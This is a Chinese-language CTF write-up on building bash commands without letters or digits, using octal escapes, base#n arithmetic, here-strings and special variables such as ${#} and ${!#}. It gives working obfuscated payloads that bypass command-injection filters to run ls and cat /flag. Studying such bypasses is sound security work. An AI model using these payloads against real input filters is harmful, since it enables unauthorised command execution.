作者 修订时间
wjlin0 2024-06-11 10:54:18

利用shell脚本变量构造无字母数字命令

shell脚本中$的多种用法

变量名 含义
$0 脚本本身的名字
$1 脚本后所输入的第一串字符
$2 传递给该shell脚本的第二个参数
$* 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$@ 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$_ 表示上一个命令的最后一个参数
$# #脚本后所输入的字符串个数
$$ 脚本运行的当前进程ID号
$! 表示最后执行的后台命令的PID
$? 显示最后命令的退出状态,0表示没有错误,其他表示由错误

有数字的命令执行

首先,在linux里完美可以利用八进制的方法绕过一些ban了字母的题 ,即我们可以使用$'\xxx'的方式执行命令,比如我们可以用$'\154\163'执行ls

➜  / $'\154\163'
➜  /

image-20240607201034726

可以发现有了这种技巧我们就可以在数字可用的情况下进行命令构造。

除此之外在bash里我们可以使用[base#]n的方式表示数字,也就是说我可以用2#100表示十进制数字4

➜  / echo $((2#100))
4
➜  / echo $((2#101))
5
➜  /

image-20240607201343119

因此从这里我们又向前推进了一步,只有我们有数字1或者0那就可以继续构造命令。假如现在字母或者数字只有1和0可以用,这时我们可以使用位移运算1<<1代替2,得到payload:

$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'

理论上它可以代替$'\154\163'执行命令,但事实上是不行的:

➜  / $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
zsh: command not found: $'\154\163'
➜  /

image-20240607201706852

可以看到这里只解析了一层解析到$'\154\163'就解析不下去了,想要它继续解析,我们不难想到Linux里的eval函数:

➜  / eval $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
bin  boot  core  dev  etc  flag  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run    sbin  snap  srv  sys  tmp  tmp.txt  tpdata  usr  var  www
➜  /

image-20240607202025621

但可惜我们是不能使用它的,所以还是得老老实实的用1或者0构造,这里我们可以想到bash里的一种语法:command [args] <<<["]$word["],在这种语法下$word会展开并作为commandstdin,以此来继续执行命令:

➜  / bash<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
bin  boot  core  dev  etc  flag  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run    sbin  snap  srv  sys  tmp  tmp.txt  tpdata  usr  var  www
➜  /

image-20240607202145762

但现在有个问题,就是用什么来代替bash,这时可以想到我之前文章里提到过的一个环境变量$0,它可以表示脚本本身的名字,而这里正是bash:

root@racknerd-0f70a9:/# echo $"0"
0
root@racknerd-0f70a9:/#

image-20240607202310491

因此我们不难想出一种构造方式来:

root@racknerd-0f70a9:/# $0<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
bin  boot  core  dev  etc  flag  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run    sbin  snap  srv  sys  tmp  tmp.txt  tpdata  usr  var  www
root@racknerd-0f70a9:/#

image-20240607202342270

成功执行!假如这是一道CTF题,我们就该想想怎么执行cat /flag了,你想到的payload可能是:

$0<<<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

bash会告诉你不存在cat /flag这种文件或者目录,很明显,bash是把它当作一个整体了,并没有有效的以空格作为分割,让cat作为命令,/flag作为参数,在ctfshow的极限命令执行题目里g4师傅给出了一种解决这种问题的方法——通过两次here-strings的方法来解析复杂的带参数命令,也就是说我们可以把payload改成:

image-20240609110358501

执行成功,我们拿到了flag,但可以看到这种构造方式不够极限,里面不但出现0更出现了1,下面,我们开始构造真正的无字母数字命令。

利用$#构造

在之前那篇文章里我也提到过$#这个变量,它可以表示#脚本后所输入的字符串个数:

如果#后面啥也没有它就是0,有一个字符串比如#就变成了1,似乎现在我们只要把1${##}替换,0${#}替换即可:

root@lavm-cobc2qtifw:/# $${#}<<<$${#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
65523{#}: command not found

image-20240609110839466

可惜这种执行方法是不行的,因为虽然$0表示bash,${#}表示0,但把它们拼起来并不表示bash,这里$$直接执行了,意思是脚本运行的当前进程ID号。下一步你可能会想到linux里的字符串拼接,但这种拼接也只会解析第一层,不会解析到最后:

__="$""${#}";echo ${__};

image-20240609111007447

因此理论上我们只要找到一个值为零的变量,然后就可以用这种方法进行变量替换得到$0,并且还能成功解析,这时我们很容易想到刚刚使用的${#},毕竟它的值就是零嘛:

root@lavm-cobc2qtifw:/# echo ${!#}
bash
root@lavm-cobc2qtifw:/#

可以看到确实能得到bash,我们再次替换回去,可以得到新payload:

root@lavm-cobc2qtifw:/# ${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
flag{1234}
root@lavm-cobc2qtifw:/#

image-20240609111303604

results matching ""

    No results matching ""